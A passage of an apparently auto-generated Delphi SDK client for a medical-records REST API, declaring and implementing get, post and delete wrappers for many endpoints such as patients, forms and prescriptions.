''): TBytesStream; function geterx_rx_log(Aformat: String = ''): TBytesStream; function posterx_rx_log(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteerx_rx_log(Aid: String; Aformat: String = ''): TBytesStream; function geterx_ttl_touch(Aformat: String = ''): TBytesStream; function posterx_ttl_touch(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteerx_ttl_touch(Apatient_id: String; Aformat: String = ''): TBytesStream; function getesign_signatures(Aformat: String = ''): TBytesStream; function postesign_signatures(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteesign_signatures(Aid: String; Aformat: String = ''): TBytesStream; function getextended_log(Aformat: String = ''): TBytesStream; function postextended_log(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteextended_log(Aid: String; Aformat: String = ''): TBytesStream; function getexternal_encounters(Aformat: String = ''): TBytesStream; function postexternal_encounters(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteexternal_encounters(Aee_id: String; Aformat: String = ''): TBytesStream; function getexternal_procedures(Aformat: String = ''): TBytesStream; function postexternal_procedures(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteexternal_procedures(Aep_id: String; Aformat: String = ''): TBytesStream; function getfacility(Aformat: String = ''): TBytesStream; function postfacility(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletefacility(Aid: String; Aformat: String = ''): TBytesStream; function getfacility_user_ids(Aformat: String = ''): TBytesStream; function postfacility_user_ids(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletefacility_user_ids(Aid: String; Aformat: String = ''): TBytesStream; function getfee_sheet_options(Aformat: String = ''): TBytesStream; function getform_care_plan(Aformat: String = ''): TBytesStream; function getform_clinical_instructions(Aformat: String = ''): TBytesStream; function postform_clinical_instructions(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteform_clinical_instructions(Aid: String; Aformat: String = ''): TBytesStream; function getform_dictation(Aformat: String = ''): TBytesStream; function postform_dictation(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteform_dictation(Aid: String; Aformat: String = ''): TBytesStream; function getform_encounter(Aformat: String = ''): TBytesStream; function postform_encounter(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteform_encounter(Aid: String; Aformat: String = ''): TBytesStream; function getform_eye_mag_dispense(Aformat: String = ''): TBytesStream; function postform_eye_mag_dispense(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteform_eye_mag_dispense(Aid: String; Aformat: String = ''): TBytesStream; function getform_eye_mag_prefs(Aformat: String = ''): TBytesStream; function getform_functional_cognitive_status(Aformat: String = ''): TBytesStream; function getform_misc_billing_options(Aformat: String = ''): TBytesStream; function postform_misc_billing_options(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteform_misc_billing_options(Aid: String; Aformat: String = ''): TBytesStream; function getform_observation(Aformat: String = ''): TBytesStream; function getform_reviewofs(Aformat: String = ''): TBytesStream; function postform_reviewofs(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteform_reviewofs(Aid: String; Aformat: String = ''): TBytesStream; function getform_ros(Aformat: String = ''): TBytesStream; function postform_ros(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteform_ros(Aid: String; Aformat: String = ''): TBytesStream; function getform_soap(Aformat: String = ''): TBytesStream; function postform_soap(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteform_soap(Aid: String; Aformat: String = ''): TBytesStream; function getform_vitals(Aformat: String = ''): TBytesStream; function postform_vitals(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteform_vitals(Aid: String; Aformat: String = ''): TBytesStream; function getforms(Aformat: String = ''): TBytesStream; function postforms(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteforms(Aid: String; Aformat: String = ''): TBytesStream; function getgeo_country_reference(Aformat: String = ''): TBytesStream; function postgeo_country_reference(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletegeo_country_reference(Acountries_id: String; Aformat: String = ''): TBytesStream; function getgeo_zone_reference(Aformat: String = ''): TBytesStream; function postgeo_zone_reference(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletegeo_zone_reference(Azone_id: String; Aformat: String = ''): TBytesStream; function getglobals(Aformat: String = ''): TBytesStream; function postglobals(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteglobals(Agl_name: String; Aformat: String = ''): TBytesStream; function getgprelations(Aformat: String = ''): TBytesStream; function postgprelations(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletegprelations(Atype1: String; Aformat: String = ''): TBytesStream; function getgroups(Aformat: String = ''): TBytesStream; function postgroups(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletegroups(Aid: String; Aformat: String = ''): TBytesStream; function gethistory_data(Aformat: String = ''): TBytesStream; function posthistory_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletehistory_data(Aid: String; Aformat: String = ''): TBytesStream; function geticd10_dx_order_code(Aformat: String = ''): TBytesStream; function geticd10_gem_dx_10_9(Aformat: String = ''): TBytesStream; function geticd10_gem_dx_9_10(Aformat: String = ''): TBytesStream; function geticd10_gem_pcs_10_9(Aformat: String = ''): TBytesStream; function geticd10_gem_pcs_9_10(Aformat: String = ''): TBytesStream; function geticd10_pcs_order_code(Aformat: String = ''): TBytesStream; function geticd10_reimbr_dx_9_10(Aformat: String = ''): TBytesStream; function geticd10_reimbr_pcs_9_10(Aformat: String = ''): TBytesStream; function geticd9_dx_code(Aformat: String = ''): TBytesStream; function geticd9_dx_long_code(Aformat: String = ''): TBytesStream; function geticd9_sg_code(Aformat: String = ''): TBytesStream; function geticd9_sg_long_code(Aformat: String = ''): TBytesStream; function getimmunization_observation(Aformat: String = ''): TBytesStream; function postimmunization_observation(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteimmunization_observation(Aimo_id: String; Aformat: String = ''): TBytesStream; function getimmunizations(Aformat: String = ''): TBytesStream; function postimmunizations(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteimmunizations(Aid: String; Aformat: String = ''): TBytesStream; function getinsurance_companies(Aformat: String = ''): TBytesStream; function postinsurance_companies(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteinsurance_companies(Aid: String; Aformat: String = ''): TBytesStream; function getinsurance_data(Aformat: String = ''): TBytesStream; function postinsurance_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteinsurance_data(Aid: String; Aformat: String = ''): TBytesStream; function getinsurance_numbers(Aformat: String = ''): TBytesStream; function postinsurance_numbers(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteinsurance_numbers(Aid: String; Aformat: String = ''): TBytesStream; function getissue_encounter(Aformat: String = ''): TBytesStream; function postissue_encounter(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteissue_encounter(Apid: String; Aformat: String = ''): TBytesStream; function getissue_types(Aformat: String = ''): TBytesStream; function postissue_types(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteissue_types(Acategory: String; Aformat: String = ''): TBytesStream; function get_keys_(Aformat: String = ''): TBytesStream; function post_keys_(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function delete_keys_(Aid: String; Aformat: String = ''): TBytesStream; function getlang_constants(Aformat: String = ''): TBytesStream; function getlang_custom(Aformat: String = ''): TBytesStream; function getlang_definitions(Aformat: String = ''): TBytesStream; function getlang_languages(Aformat: String = ''): TBytesStream; function getlayout_group_properties(Aformat: String = ''): TBytesStream; function postlayout_group_properties(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletelayout_group_properties(Agrp_form_id: String; Aformat: String = ''): TBytesStream; function getlayout_options(Aformat: String = ''): TBytesStream; function postlayout_options(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletelayout_options(Aform_id: String; Aformat: String = ''): TBytesStream; function getlbf_data(Aformat: String = ''): TBytesStream; function postlbf_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletelbf_data(Aform_id: String; Aformat: String = ''): TBytesStream; function getlbt_data(Aformat: String = ''): TBytesStream; function postlbt_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletelbt_data(Aform_id: String; Aformat: String = ''): TBytesStream; function getlist_options(Aformat: String = ''): TBytesStream; function postlist_options(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletelist_options(Alist_id: String; Aformat: String = ''): TBytesStream; function getlists(Aformat: String = ''): TBytesStream; function postlists(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletelists(Aid: String; Aformat: String = ''): TBytesStream; function getlists_touch(Aformat: String = ''): TBytesStream; function postlists_touch(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletelists_touch(Apid: String; Aformat: String = ''): TBytesStream; function getlog(Aformat: String = ''): TBytesStream; function postlog(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletelog(Aid: String; Aformat: String = ''): TBytesStream; function getlog_comment_encrypt(Aformat: String = ''): TBytesStream; function postlog_comment_encrypt(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletelog_comment_encrypt(Aid: String; Aformat: String = ''): TBytesStream; function getmisc_address_book(Aformat: String = ''): TBytesStream; function postmisc_address_book(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletemisc_address_book(Aid: String; Aformat: String = ''): TBytesStream; function getmodule_acl_group_settings(Aformat: String = ''): TBytesStream; function postmodule_acl_group_settings(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletemodule_acl_group_settings(Amodule_id: String; Aformat: String = ''): TBytesStream; function getmodule_acl_sections(Aformat: String = ''): TBytesStream; function getmodule_acl_user_settings(Aformat: String = ''): TBytesStream; function postmodule_acl_user_settings(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletemodule_acl_user_settings(Amodule_id: String; Aformat: String = ''): TBytesStream; function getmodule_configuration(Aformat: String = ''): TBytesStream; function postmodule_configuration(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletemodule_configuration(Amodule_config_id: String; Aformat: String = ''): TBytesStream; function getmodules(Aformat: String = ''): TBytesStream; function postmodules(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletemodules(Amod_id: String; Aformat: String = ''): TBytesStream; function getmodules_hooks_settings(Aformat: String = ''): TBytesStream; function postmodules_hooks_settings(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletemodules_hooks_settings(Aid: String; Aformat: String = ''): TBytesStream; function getmodules_settings(Aformat: String = ''): TBytesStream; function getnotes(Aformat: String = ''): TBytesStream; function postnotes(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletenotes(Aid: String; Aformat: String = ''): TBytesStream; function getnotification_log(Aformat: String = ''): TBytesStream; function postnotification_log(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletenotification_log(AiLogId: String; Aformat: String = ''): TBytesStream; function getnotification_settings(Aformat: String = ''): TBytesStream; function postnotification_settings(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletenotification_settings(ASettingsId: String; Aformat: String = ''): TBytesStream; function getonotes(Aformat: String = ''): TBytesStream; function postonotes(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteonotes(Aid: String; Aformat: String = ''): TBytesStream; function getonsite_documents(Aformat: String = ''): TBytesStream; function postonsite_documents(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteonsite_documents(Aid: String; Aformat: String = ''): TBytesStream; function getonsite_mail(Aformat: String = ''): TBytesStream; function postonsite_mail(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteonsite_mail(Aid: String; Aformat: String = ''): TBytesStream; function getonsite_messages(Aformat: String = ''): TBytesStream; function postonsite_messages(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteonsite_messages(Aid: String; Aformat: String = ''): TBytesStream; function getonsite_online(Aformat: String = ''): TBytesStream; function postonsite_online(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteonsite_online(Ahash: String; Aformat: String = ''): TBytesStream; function getonsite_portal_activity(Aformat: String = ''): TBytesStream; function postonsite_portal_activity(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteonsite_portal_activity(Aid: String; Aformat: String = ''): TBytesStream; function getonsite_signatures(Aformat: String = ''): TBytesStream; function postonsite_signatures(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteonsite_signatures(Aid: String; Aformat: String = ''): TBytesStream; function getopenemr_module_vars(Aformat: String = ''): TBytesStream; function postopenemr_module_vars(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteopenemr_module_vars(Apn_id: String; Aformat: String = ''): TBytesStream; function getopenemr_modules(Aformat: String = ''): TBytesStream; function postopenemr_modules(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteopenemr_modules(Apn_id: String; Aformat: String = ''): TBytesStream; function getopenemr_postcalendar_categories(Aformat: String = ''): TBytesStream; function postopenemr_postcalendar_categories(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteopenemr_postcalendar_categories(Apc_catid: String; Aformat: String = ''): TBytesStream; function getopenemr_postcalendar_events(Aformat: String = ''): TBytesStream; function postopenemr_postcalendar_events(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteopenemr_postcalendar_events(Apc_eid: String; Aformat: String = ''): TBytesStream; function getopenemr_postcalendar_limits(Aformat: String = ''): TBytesStream; function postopenemr_postcalendar_limits(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteopenemr_postcalendar_limits(Apc_limitid: String; Aformat: String = ''): TBytesStream; function getopenemr_postcalendar_topics(Aformat: String = ''): TBytesStream; function postopenemr_postcalendar_topics(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteopenemr_postcalendar_topics(Apc_catid: String; Aformat: String = ''): TBytesStream; function getopenemr_session_info(Aformat: String = ''): TBytesStream; function postopenemr_session_info(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteopenemr_session_info(Apn_sessid: String; Aformat: String = ''): TBytesStream; function getpatient_access_offsite(Aformat: String = ''): TBytesStream; function postpatient_access_offsite(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletepatient_access_offsite(Aid: String; Aformat: String = ''): TBytesStream; function getpatient_access_onsite(Aformat: String = ''): TBytesStream; function postpatient_access_onsite(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletepatient_access_onsite(Aid: String; Aformat: String = ''): TBytesStream; function getpatient_data(Aformat: String = ''): TBytesStream; function getpatient_portal_menu(Aformat: String = ''): TBytesStream; function postpatient_portal_menu(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletepatient_portal_menu(Apatient_portal_menu_id: String; Aformat: String = ''): TBytesStream; function getpatient_reminders(Aformat: String = ''): TBytesStream; function postpatient_reminders(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletepatient_reminders(Aid: String; Aformat: String = ''): TBytesStream; function getpatient_tracker(Aformat: String = ''): TBytesStream; function postpatient_tracker(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletepatient_tracker(Aid: String; Aformat: String = ''): TBytesStream; function getpatient_tracker_element(Aformat: String = ''): TBytesStream; function getpayment_gateway_details(Aformat: String = ''): TBytesStream; function postpayment_gateway_details(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletepayment_gateway_details(Aid: String; Aformat: String = ''): TBytesStream; function getpayments(Aformat: String = ''): TBytesStream; function postpayments(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletepayments(Aid: String; Aformat: String = ''): TBytesStream; function getpharmacies(Aformat: String = ''): TBytesStream; function postpharmacies(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletepharmacies(Aid: String; Aformat: String = ''): TBytesStream; function getphone_numbers(Aformat: String = ''): TBytesStream; function postphone_numbers(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletephone_numbers(Aid: String; Aformat: String = ''): TBytesStream; function getpnotes(Aformat: String = ''): TBytesStream; function postpnotes(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletepnotes(Aid: String; Aformat: String = ''): TBytesStream; function getprescriptions(Aformat: String = ''): TBytesStream; function postprescriptions(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteprescriptions(Aid: String; Aformat: String = ''): TBytesStream; function getprices(Aformat: String = ''): TBytesStream; function postprices(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteprices(Apr_id: String; Aformat: String = ''): TBytesStream; function getprocedure_answers(Aformat: String = ''): TBytesStream; function postprocedure_answers(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteprocedure_answers(Aprocedure_order_id: String; Aformat: String = ''): TBytesStream; function getprocedure_order(Aformat: String = ''): TBytesStream; function postprocedure_order(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteprocedure_order(Aprocedure_order_id: String; Aformat: String = ''): TBytesStream; function getprocedure_order_code(Aformat: String = ''): TBytesStream; function postprocedure_order_code(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteprocedure_order_code(Aprocedure_order_id: String; Aformat: String = ''): TBytesStream; function getprocedure_providers(Aformat: String = ''): TBytesStream; function postprocedure_providers(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteprocedure_providers(Appid: String; Aformat: String = ''): TBytesStream; function getprocedure_questions(Aformat: String = ''): TBytesStream; function postprocedure_questions(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteprocedure_questions(Alab_id: String; Aformat: String = ''): TBytesStream; function getprocedure_report(Aformat: String = ''): TBytesStream; function postprocedure_report(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteprocedure_report(Aprocedure_report_id: String; Aformat: String = ''): TBytesStream; function getprocedure_result(Aformat: String = ''): TBytesStream; function postprocedure_result(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteprocedure_result(Aprocedure_result_id: String; Aformat: String = ''): TBytesStream; function getprocedure_type(Aformat: String = ''): TBytesStream; function postprocedure_type(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteprocedure_type(Aprocedure_type_id: String; Aformat: String = ''): TBytesStream; function getproduct_warehouse(Aformat: String = ''): TBytesStream; function postproduct_warehouse(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteproduct_warehouse(Apw_drug_id: String; Aformat: String = ''): TBytesStream; function getregistry(Aformat: String = ''): TBytesStream; function postregistry(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteregistry(Aid: String; Aformat: String = ''): TBytesStream; function getreport_itemized(Aformat: String = ''): TBytesStream; function getreport_results(Aformat: String = ''): TBytesStream; function postreport_results(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletereport_results(Areport_id: String; Aformat: String = ''): TBytesStream; function getrule_action(Aformat: String = ''): TBytesStream; function getrule_action_item(Aformat: String = ''): TBytesStream; function postrule_action_item(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleterule_action_item(Acategory: String; Aformat: String = ''): TBytesStream; function getrule_filter(Aformat: String = ''): TBytesStream; function getrule_patient_data(Aformat: String = ''): TBytesStream; function postrule_patient_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleterule_patient_data(Aid: String; Aformat: String = ''): TBytesStream; function getrule_reminder(Aformat: String = ''): TBytesStream; function getrule_target(Aformat: String = ''): TBytesStream; function getsequences(Aformat: String = ''): TBytesStream; function getshared_attributes(Aformat: String = ''): TBytesStream; function postshared_attributes(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteshared_attributes(Apid: String; Aformat: String = ''): TBytesStream; function getstandardized_tables_track(Aformat: String = ''): TBytesStream; function poststandardized_tables_track(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletestandardized_tables_track(Aid: String; Aformat: String = ''): TBytesStream; function getsupported_external_dataloads(Aformat: String = ''): TBytesStream; function getsyndromic_surveillance(Aformat: String = ''): TBytesStream; function postsyndromic_surveillance(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletesyndromic_surveillance(Aid: String; Aformat: String = ''): TBytesStream; function gettemplate_users(Aformat: String = ''): TBytesStream; function posttemplate_users(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletetemplate_users(Atu_id: String; Aformat: String = ''): TBytesStream; function gettransactions(Aformat: String = ''): TBytesStream; function posttransactions(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletetransactions(Aid: String; Aformat: String = ''): TBytesStream; function getuser_settings(Aformat: String = ''): TBytesStream; function postuser_settings(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteuser_settings(Asetting_user: String; Aformat: String = ''): TBytesStream; function getusers(Aformat: String = ''): TBytesStream; function postusers(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteusers(Aid: String; Aformat: String = ''): TBytesStream; function getusers_facility(Aformat: String = ''): TBytesStream; function postusers_facility(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteusers_facility(Atablename: String; Aformat: String = ''): TBytesStream; function getusers_secure(Aformat: String = ''): TBytesStream; function postusers_secure(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deleteusers_secure(Aid: String; Aformat: String = ''): TBytesStream; function getvalueset(Aformat: String = ''): TBytesStream; function postvalueset(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletevalueset(Anqf_code: String; Aformat: String = ''): TBytesStream; function getversion(Aformat: String = ''): TBytesStream; function getvoids(Aformat: String = ''): TBytesStream; function postvoids(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletevoids(Avoid_id: String; Aformat: String = ''): TBytesStream; function getx12_partners(Aformat: String = ''): TBytesStream; function postx12_partners(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; function deletex12_partners(Aid: String; Aformat: String = ''): TBytesStream; published property Username: String read FUsername write FUsername; property Password: String read FPassword write FPassword; end; implementation constructor TSDKClient.Create(AOwner: TComponent); begin inherited Create(AOwner); FEMSProvider := TEMSProvider.Create(AOwner); FBackendAuth := TBackendAuth.Create(AOwner); FEMSProvider.URLHost := 'localhost'; FEMSProvider.URLPort := StrToInt('8080'); FEMSProvider.URLBasePath := ''; FEMSProvider.URLProtocol := 'http'; FBackendAuth.Provider := FEMSProvider; FUserName := ''; FPassword := ''; end; destructor TSDKClient.Destroy; begin inherited Destroy; FBackendAuth.DisposeOf; end; function TSDKClient.LoginAPI(const UserName, Password: String): Boolean; begin if not FBackendAuth.LoggedIn then begin FBackendAuth.UserName := UserName; FBackendAuth.Password := Password; FBAckendAuth.Login; if FBackendAuth.LoggedIn then begin if FBackendAuth.LoggedInToken = '' then begin FBackendAuth.Authentication := TBackendAuthentication.Default; Result := False; end else begin FBackendAuth.Authentication := TBackendAuthentication.Session; Result := True; end; end; end else Result := True; end; function TSDKClient.GetAPI(const APath: String): TBytesStream; var EndPoint: TBackendEndpoint; begin Result := TBytesStream.Create; EndPoint := TBackendEndpoint.Create(Self); EndPoint.Provider := FEMSProvider; EndPoint.Auth := FBackendAuth; try EndPoint.Resource := APath; EndPoint.Method := TRESTRequestMethod.rmGET; EndPoint.Execute; Result := TBytesStream.Create(EndPoint.Response.RawBytes); if EndPoint.Response.StatusCode>=400 then begin raise Exception.Create(EndPoint.Response.StatusText); end; finally EndPoint.DisposeOf; end; end; function TSDKClient.PostAPI(const APath: String; ABytesStream: TBytesStream): TBytesStream; var EndPoint: TBackendEndpoint; begin EndPoint := TBackendEndpoint.Create(Self); EndPoint.Provider := FEMSProvider; EndPoint.Auth := FBackendAuth; try EndPoint.Resource := APath; EndPoint.Method := TRESTRequestMethod.rmPOST; EndPoint.AddBody(ABytesStream,TRESTContentType.ctAPPLICATION_JSON); EndPoint.Execute; Result := TBytesStream.Create(EndPoint.Response.RawBytes); if EndPoint.Response.StatusCode>=400 then begin raise Exception.Create(EndPoint.Response.StatusText); end; finally EndPoint.DisposeOf; end; end; function TSDKClient.DeleteAPI(const APath: String): TBytesStream; var EndPoint: TBackendEndpoint; begin Result := TBytesStream.Create; EndPoint := TBackendEndpoint.Create(Self); EndPoint.Provider := FEMSProvider; EndPoint.Auth := FBackendAuth; try EndPoint.Resource := APath; EndPoint.Method := TRESTRequestMethod.rmDELETE; EndPoint.Execute; Result := TBytesStream.Create(EndPoint.Response.RawBytes); if EndPoint.Response.StatusCode>=400 then begin raise Exception.Create(EndPoint.Response.StatusText); end; finally EndPoint.DisposeOf; end; end; function TSDKClient.getaddresses(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getaddresses/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postaddresses(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postaddresses/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteaddresses(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteaddresses/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getamc_misc_data(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getamc_misc_data/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getamendments(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getamendments/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postamendments(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postamendments/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteamendments(Aamendment_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteamendments/?amendment_id='+Aamendment_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getamendments_history(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getamendments_history/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getar_activity(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getar_activity/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postar_activity(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postar_activity/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletear_activity(Apid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletear_activity/?pid='+Apid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getar_session(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getar_session/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postar_session(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postar_session/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletear_session(Asession_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletear_session/?session_id='+Asession_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getarray(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getarray/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getaudit_details(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getaudit_details/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postaudit_details(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postaudit_details/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteaudit_details(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteaudit_details/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function 